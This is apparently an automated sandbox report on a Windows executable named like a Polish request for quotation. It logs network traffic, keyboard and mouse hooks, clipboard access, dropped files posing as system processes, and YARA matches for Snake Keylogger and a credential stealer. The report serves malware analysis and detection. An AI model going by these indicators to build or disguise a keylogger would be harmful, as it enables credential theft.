Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60620
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60740
Source: unknown	Network traffic detected: HTTP traffic on port 60692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60628
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60627
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60505
Source: unknown	Network traffic detected: HTTP traffic on port 60665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60504
Source: unknown	Network traffic detected: HTTP traffic on port 60531 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60625
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60624
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60623
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60622
Source: unknown	Network traffic detected: HTTP traffic on port 60736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60500
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60621
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 60577 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60519
Source: unknown	Network traffic detected: HTTP traffic on port 60554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60631
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60630
Source: unknown	Network traffic detected: HTTP traffic on port 60515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60639
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60638
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60637
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60513
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60633
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60632
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 60599 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 60461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60521
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60642
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60520
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60641
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60640
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60529
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60649
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60648
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 60472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60647
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60525
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60524
Source: unknown	Network traffic detected: HTTP traffic on port 60642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60645
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60643
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60764
Source: unknown	Network traffic detected: HTTP traffic on port 60617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60496
Source: unknown	Network traffic detected: HTTP traffic on port 60452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60492
Source: unknown	Network traffic detected: HTTP traffic on port 60532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60475 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60555 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60525 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 60652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 60578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60533 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60589 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60651 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60579 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60455
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60576
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60575
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60453
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60452
Source: unknown	Network traffic detected: HTTP traffic on port 60513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60573
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60571
Source: unknown	Network traffic detected: HTTP traffic on port 60591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60570
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60459
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60579
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60457
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60578
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60456
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60577
Source: unknown	Network traffic detected: HTTP traffic on port 60524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60545 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60590
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60466
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60587
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60586
Source: unknown	Network traffic detected: HTTP traffic on port 60453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60585
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60461
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60582
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60460
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60581
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60580
Source: unknown	Network traffic detected: HTTP traffic on port 60627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60469
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60589
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60467
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60588
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60480
Source: unknown	Network traffic detected: HTTP traffic on port 60464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60477
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60598
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60597
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60475
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60596
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60474
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60595
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60473
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60472
Source: unknown	Network traffic detected: HTTP traffic on port 60534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60593
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60471
Source: unknown	Network traffic detected: HTTP traffic on port 60557 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60592
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60470
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60591
Source: unknown	Network traffic detected: HTTP traffic on port 60628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60599
Source: unknown	Network traffic detected: HTTP traffic on port 60605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60491
Source: unknown	Network traffic detected: HTTP traffic on port 60639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60490
Source: unknown	Network traffic detected: HTTP traffic on port 60744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60488
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60487
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60483
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60481
Source: unknown	Network traffic detected: HTTP traffic on port 60497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60489
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60593 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60659 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60571 -> 443

Source: unknown	HTTPS traffic detected: 51.81.194.202:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.69.42.241:443 -> 192.168.2.5:60455 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:60467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:60480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:60489 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Windows user hook set: 6176 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Windows user hook set: 6468 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL	Jump to behavior
Source: C:\Windows\System\explorer.exe	Windows user hook set: 6568 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL	Jump to behavior
Source: C:\Windows\System\explorer.exe	Windows user hook set: 0 keyboard low level c:\windows\system\explorer.exe	Jump to behavior
Source: C:\Windows\System\explorer.exe	Windows user hook set: 0 mouse low level c:\windows\system\explorer.exe	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Windows user hook set: 2704 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL	Jump to behavior
Source: C:\Windows\System\svchost.exe	Windows user hook set: 6596 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Windows user hook set: 432 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL
Source: C:\Windows\System\explorer.exe	Windows user hook set: 7808 mouse C:\Windows\SYSTEM32\MSVBVM60.DLL

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

1_2_0046C5D0

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

1_2_00459FFF

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

1_2_0046C5D0

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

1_2_00456354

Source: C:\Windows\System\explorer.exe

Windows user hook set: 0 mouse low level c:\windows\system\explorer.exe

Jump to behavior

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

1_2_0047C08E

Source: at.exe

Process created: 52

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: zapytanie ofertowe st-2024-s315 cpa9170385.exe PID: 1088, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 5568, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

PE file has a writeable .text section

Source: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: icsys.icn.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: explorer.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: spoolsv.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: mrsys.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: svchost.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: stsys.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

